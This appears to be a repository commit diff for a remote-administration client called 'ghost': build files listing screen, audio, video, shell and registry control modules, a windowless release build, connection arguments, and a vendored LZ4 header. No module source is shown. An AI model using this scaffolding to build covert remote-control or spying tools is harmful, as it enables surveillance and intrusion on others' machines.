<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="CursorInfor.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileManager.cpp"> <ClCompile Include="FileManager.cpp">
<Filter>源文件</Filter> <Filter>源文件</Filter>
</ClCompile> </ClCompile>
@@ -98,9 +95,6 @@
<ClInclude Include="Common.h"> <ClInclude Include="Common.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfor.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileManager.h"> <ClInclude Include="FileManager.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
@@ -158,6 +152,9 @@
<ClInclude Include="zlib.h"> <ClInclude Include="zlib.h">
<Filter>头文件</Filter> <Filter>头文件</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="CursorInfo.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ResourceCompile Include="Script.rc"> <ResourceCompile Include="Script.rc">
@@ -174,4 +171,12 @@
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Media> </Media>
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="Res\msg.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project> </Project>

View File

@@ -2,10 +2,10 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments> <LocalDebuggerCommandArguments>127.0.0.1 6543</LocalDebuggerCommandArguments>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments> <LocalDebuggerCommandArguments>127.0.0.1 2356</LocalDebuggerCommandArguments>
</PropertyGroup> </PropertyGroup>
</Project> </Project>

161
client/ghost_vs2015.vcxproj Normal file
View File

@@ -0,0 +1,161 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ghost</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<IntDir>$(Configuration)\ghost</IntDir>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<EntryPointSymbol>
</EntryPointSymbol>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<SubSystem>Windows</SubSystem>
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="zconf.h" />
<ClInclude Include="zlib.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

631
client/lz4/lz4.h Normal file
View File

@@ -0,0 +1,631 @@
/*
* LZ4 - Fast LZ compression algorithm
* Header File
* Copyright (C) 2011-present, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://www.lz4.org
- LZ4 source repository : https://github.com/lz4/lz4
*/
#if defined (__cplusplus)
extern "C" {
#endif
#ifndef LZ4_H_2983827168210
#define LZ4_H_2983827168210
/* --- Dependency --- */
#include <stddef.h> /* size_t */
/**
Introduction
LZ4 is lossless compression algorithm, providing compression speed at 500 MB/s per core,
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
The LZ4 compression library provides in-memory compression and decompression functions.
Compression can be done in:
- a single step (described as Simple Functions)
- a single step, reusing a context (described in Advanced Functions)
- unbounded multiple steps (described as Streaming compression)
lz4.h provides block compression functions. It gives full buffer control to user.
Decompressing an lz4-compressed block also requires metadata (such as compressed size).
Each application is free to encode such metadata in whichever way it wants.
An additional format, called LZ4 frame specification (doc/lz4_Frame_format.md),
take care of encoding standard metadata alongside LZ4-compressed blocks.
Frame format is required for interoperability.
It is delivered through a companion API, declared in lz4frame.h.
*/
/*^***************************************************************
* Export parameters
*****************************************************************/
/*
* LZ4_DLL_EXPORT :
* Enable exporting of functions when building a Windows DLL
* LZ4LIB_VISIBILITY :
* Control library symbols visibility.
*/
#ifndef LZ4LIB_VISIBILITY
# if defined(__GNUC__) && (__GNUC__ >= 4)
# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default")))
# else
# define LZ4LIB_VISIBILITY
# endif
#endif
#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1)
# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY
#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1)
# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/
#else
# define LZ4LIB_API LZ4LIB_VISIBILITY
#endif
/*------ Version ------*/
#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */
#define LZ4_VERSION_MINOR 8 /* for new (non-breaking) interface capabilities */
#define LZ4_VERSION_RELEASE 3 /* for tweaks, bug-fixes, or development */
#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE)
#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE
#define LZ4_QUOTE(str) #str
#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str)
#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION)
LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version */
LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; unseful to check dll version */
/*-************************************
* Tuning parameter
**************************************/
/*!
* LZ4_MEMORY_USAGE :
* Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; etc.)
* Increasing memory usage improves compression ratio
* Reduced memory usage may improve speed, thanks to cache effect
* Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache
*/
#ifndef LZ4_MEMORY_USAGE
# define LZ4_MEMORY_USAGE 14
#endif
/*-************************************
* Simple Functions
**************************************/
/*! LZ4_compress_default() :
Compresses 'srcSize' bytes from buffer 'src'
into already allocated 'dst' buffer of size 'dstCapacity'.
Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize).
It also runs faster, so it's a recommended setting.
If the function cannot compress 'src' into a more limited 'dst' budget,
compression stops *immediately*, and the function result is zero.
Note : as a consequence, 'dst' content is not valid.
Note 2 : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer).
srcSize : max supported value is LZ4_MAX_INPUT_SIZE.
dstCapacity : size of buffer 'dst' (which must be already allocated)
return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity)
or 0 if compression fails */
LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity);
/*! LZ4_decompress_safe() :
compressedSize : is the exact complete size of the compressed block.
dstCapacity : is the size of destination buffer, which must be already allocated.
return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
If destination buffer is not large enough, decoding will stop and output an error code (negative value).
If the source stream is detected malformed, the function will stop decoding and return a negative result.
This function is protected against malicious data packets.
*/
LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity);
/*-************************************
* Advanced Functions
**************************************/
#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */
#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16)
/*!
LZ4_compressBound() :
Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible)
This function is primarily useful for memory allocation purposes (destination buffer size).
Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example).
Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize)
inputSize : max supported value is LZ4_MAX_INPUT_SIZE
return : maximum output size in a "worst case" scenario
or 0, if input size is incorrect (too large or negative)
*/
LZ4LIB_API int LZ4_compressBound(int inputSize);
/*!
LZ4_compress_fast() :
Same as LZ4_compress_default(), but allows selection of "acceleration" factor.
The larger the acceleration value, the faster the algorithm, but also the lesser the compression.
It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed.
An acceleration value of "1" is the same as regular LZ4_compress_default()
Values <= 0 will be replaced by ACCELERATION_DEFAULT (currently == 1, see lz4.c).
*/
LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*!
LZ4_compress_fast_extState() :
Same compression function, just using an externally allocated memory space to store compression state.
Use LZ4_sizeofState() to know how much memory must be allocated,
and allocate it on 8-bytes boundaries (using malloc() typically).
Then, provide this buffer as 'void* state' to compression function.
*/
LZ4LIB_API int LZ4_sizeofState(void);
LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_compress_destSize() :
* Reverse the logic : compresses as much data as possible from 'src' buffer
* into already allocated buffer 'dst', of size >= 'targetDestSize'.
* This function either compresses the entire 'src' content into 'dst' if it's large enough,
* or fill 'dst' buffer completely with as much data as possible from 'src'.
* note: acceleration parameter is fixed to "default".
*
* *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'.
* New value is necessarily <= input value.
* @return : Nb bytes written into 'dst' (necessarily <= targetDestSize)
* or 0 if compression fails.
*/
LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize);
/*! LZ4_decompress_fast() : **unsafe!**
* This function used to be a bit faster than LZ4_decompress_safe(),
* though situation has changed in recent versions,
* and now `LZ4_decompress_safe()` can be as fast and sometimes faster than `LZ4_decompress_fast()`.
* Moreover, LZ4_decompress_fast() is not protected vs malformed input, as it doesn't perform full validation of compressed data.
* As a consequence, this function is no longer recommended, and may be deprecated in future versions.
* It's only remaining specificity is that it can decompress data without knowing its compressed size.
*
* originalSize : is the uncompressed size to regenerate.
* `dst` must be already allocated, its size must be >= 'originalSize' bytes.
* @return : number of bytes read from source buffer (== compressed size).
* If the source stream is detected malformed, the function stops decoding and returns a negative result.
* note : This function requires uncompressed originalSize to be known in advance.
* The function never writes past the output buffer.
* However, since it doesn't know its 'src' size, it may read past the intended input.
* Also, because match offsets are not validated during decoding,
* reads from 'src' may underflow.
* Use this function in trusted environment **only**.
*/
LZ4LIB_API int LZ4_decompress_fast (const char* src, char* dst, int originalSize);
/*! LZ4_decompress_safe_partial() :
* Decompress an LZ4 compressed block, of size 'srcSize' at position 'src',
* into destination buffer 'dst' of size 'dstCapacity'.
* Up to 'targetOutputSize' bytes will be decoded.
* The function stops decoding on reaching this objective,
* which can boost performance when only the beginning of a block is required.
*
* @return : the number of bytes decoded in `dst` (necessarily <= dstCapacity)
* If source stream is detected malformed, function returns a negative result.
*
* Note : @return can be < targetOutputSize, if compressed block contains less data.
*
* Note 2 : this function features 2 parameters, targetOutputSize and dstCapacity,
* and expects targetOutputSize <= dstCapacity.
* It effectively stops decoding on reaching targetOutputSize,
* so dstCapacity is kind of redundant.
* This is because in a previous version of this function,
* decoding operation would not "break" a sequence in the middle.
* As a consequence, there was no guarantee that decoding would stop at exactly targetOutputSize,
* it could write more bytes, though only up to dstCapacity.
* Some "margin" used to be required for this operation to work properly.
* This is no longer necessary.
* The function nonetheless keeps its signature, in an effort to not break API.
*/
LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity);
/*-*********************************************
* Streaming Compression Functions
***********************************************/
typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */
/*! LZ4_createStream() and LZ4_freeStream() :
* LZ4_createStream() will allocate and initialize an `LZ4_stream_t` structure.
* LZ4_freeStream() releases its memory.
*/
LZ4LIB_API LZ4_stream_t* LZ4_createStream(void);
LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr);
/*! LZ4_resetStream() :
* An LZ4_stream_t structure can be allocated once and re-used multiple times.
* Use this function to start compressing a new stream.
*/
LZ4LIB_API void LZ4_resetStream (LZ4_stream_t* streamPtr);
/*! LZ4_loadDict() :
* Use this function to load a static dictionary into LZ4_stream_t.
* Any previous data will be forgotten, only 'dictionary' will remain in memory.
* Loading a size of 0 is allowed, and is the same as reset.
* @return : dictionary size, in bytes (necessarily <= 64 KB)
*/
LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize);
/*! LZ4_compress_fast_continue() :
* Compress 'src' content using data from previously compressed blocks, for better compression ratio.
* 'dst' buffer must be already allocated.
* If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster.
*
* @return : size of compressed block
* or 0 if there is an error (typically, cannot fit into 'dst').
*
* Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block.
* Each block has precise boundaries.
* It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together.
* Each block must be decompressed separately, calling LZ4_decompress_*() with associated metadata.
*
* Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory!
*
* Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB.
* Make sure that buffers are separated, by at least one byte.
* This construction ensures that each block only depends on previous block.
*
* Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB.
*
* Note 5 : After an error, the stream status is invalid, it can only be reset or freed.
*/
LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_saveDict() :
* If last 64KB data cannot be guaranteed to remain available at its current memory location,
* save it into a safer place (char* safeBuffer).
* This is schematically equivalent to a memcpy() followed by LZ4_loadDict(),
* but is much faster, because LZ4_saveDict() doesn't need to rebuild tables.
* @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error.
*/
LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize);
/*-**********************************************
* Streaming Decompression Functions
* Bufferless synchronous API
************************************************/
typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */
/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() :
* creation / destruction of streaming decompression tracking context.
* A tracking context can be re-used multiple times.
*/
LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void);
LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream);
/*! LZ4_setStreamDecode() :
* An LZ4_streamDecode_t context can be allocated once and re-used multiple times.
* Use this function to start decompression of a new stream of blocks.
* A dictionary can optionally be set. Use NULL or size 0 for a reset order.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
* @return : 1 if OK, 0 if error
*/
LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize);
/*! LZ4_decoderRingBufferSize() : v1.8.2
* Note : in a ring buffer scenario (optional),
* blocks are presumed decompressed next to each other
* up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize),
* at which stage it resumes from beginning of ring buffer.
* When setting such a ring buffer for streaming decompression,
* provides the minimum size of this ring buffer
* to be compatible with any source respecting maxBlockSize condition.
* @return : minimum ring buffer size,
* or 0 if there is an error (invalid maxBlockSize).
*/
LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize);
#define LZ4_DECODER_RING_BUFFER_SIZE(mbs) (65536 + 14 + (mbs)) /* for static allocation; mbs presumed valid */
/*! LZ4_decompress_*_continue() :
* These decoding functions allow decompression of consecutive blocks in "streaming" mode.
* A block is an unsplittable entity, it must be presented entirely to a decompression function.
* Decompression functions only accepts one block at a time.
* The last 64KB of previously decoded data *must* remain available and unmodified at the memory position where they were decoded.
* If less than 64KB of data has been decoded, all the data must be present.
*
* Special : if decompression side sets a ring buffer, it must respect one of the following conditions :
* - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize).
* maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes.
* In which case, encoding and decoding buffers do not need to be synchronized.
* Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize.
* - Synchronized mode :
* Decompression buffer size is _exactly_ the same as compression buffer size,
* and follows exactly same update rule (block boundaries at same positions),
* and decoding function is provided with exact decompressed size of each block (exception for last block of the stream),
* _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB).
* - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes.
* In which case, encoding and decoding buffers do not need to be synchronized,
* and encoding ring buffer can have any size, including small ones ( < 64 KB).
*
* Whenever these conditions are not possible,
* save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression,
* then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block.
*/
LZ4LIB_API int LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int srcSize, int dstCapacity);
LZ4LIB_API int LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* src, char* dst, int originalSize);
/*! LZ4_decompress_*_usingDict() :
* These decoding functions work the same as
* a combination of LZ4_setStreamDecode() followed by LZ4_decompress_*_continue()
* They are stand-alone, and don't need an LZ4_streamDecode_t structure.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
*/
LZ4LIB_API int LZ4_decompress_safe_usingDict (const char* src, char* dst, int srcSize, int dstCapcity, const char* dictStart, int dictSize);
LZ4LIB_API int LZ4_decompress_fast_usingDict (const char* src, char* dst, int originalSize, const char* dictStart, int dictSize);
/*^**********************************************
* !!!!!! STATIC LINKING ONLY !!!!!!
***********************************************/
/*-************************************
* Unstable declarations
**************************************
* Declarations in this section should be considered unstable.
* Use at your own peril, etc., etc.
* They may be removed in the future.
* Their signatures may change.
**************************************/
#ifdef LZ4_STATIC_LINKING_ONLY
/*! LZ4_resetStream_fast() :
* Use this, like LZ4_resetStream(), to prepare a context for a new chain of
* calls to a streaming API (e.g., LZ4_compress_fast_continue()).
*
* Note:
* Using this in advance of a non- streaming-compression function is redundant,
* and potentially bad for performance, since they all perform their own custom
* reset internally.
*
* Differences from LZ4_resetStream():
* When an LZ4_stream_t is known to be in a internally coherent state,
* it can often be prepared for a new compression with almost no work, only
* sometimes falling back to the full, expensive reset that is always required
* when the stream is in an indeterminate state (i.e., the reset performed by
* LZ4_resetStream()).
*
* LZ4_streams are guaranteed to be in a valid state when:
* - returned from LZ4_createStream()
* - reset by LZ4_resetStream()
* - memset(stream, 0, sizeof(LZ4_stream_t)), though this is discouraged
* - the stream was in a valid state and was reset by LZ4_resetStream_fast()
* - the stream was in a valid state and was then used in any compression call
* that returned success
* - the stream was in an indeterminate state and was used in a compression
* call that fully reset the state (e.g., LZ4_compress_fast_extState()) and
* that returned success
*
* When a stream isn't known to be in a valid state, it is not safe to pass to
* any fastReset or streaming function. It must first be cleansed by the full
* LZ4_resetStream().
*/
LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr);
/*! LZ4_compress_fast_extState_fastReset() :
* A variant of LZ4_compress_fast_extState().
*
* Using this variant avoids an expensive initialization step. It is only safe
* to call if the state buffer is known to be correctly initialized already
* (see above comment on LZ4_resetStream_fast() for a definition of "correctly
* initialized"). From a high level, the difference is that this function
* initializes the provided state with a call to something like
* LZ4_resetStream_fast() while LZ4_compress_fast_extState() starts with a
* call to LZ4_resetStream().
*/
LZ4LIB_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_attach_dictionary() :
* This is an experimental API that allows for the efficient use of a
* static dictionary many times.
*
* Rather than re-loading the dictionary buffer into a working context before
* each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a
* working LZ4_stream_t, this function introduces a no-copy setup mechanism,
* in which the working stream references the dictionary stream in-place.
*
* Several assumptions are made about the state of the dictionary stream.
* Currently, only streams which have been prepared by LZ4_loadDict() should
* be expected to work.
*
* Alternatively, the provided dictionary stream pointer may be NULL, in which
* case any existing dictionary stream is unset.
*
* If a dictionary is provided, it replaces any pre-existing stream history.
* The dictionary contents are the only history that can be referenced and
* logically immediately precede the data compressed in the first subsequent
* compression call.
*
* The dictionary will only remain attached to the working stream through the
* first compression call, at the end of which it is cleared. The dictionary
* stream (and source buffer) must remain in-place / accessible / unchanged
* through the completion of the first compression call on the stream.
*/
LZ4LIB_API void LZ4_attach_dictionary(LZ4_stream_t *working_stream, const LZ4_stream_t *dictionary_stream);
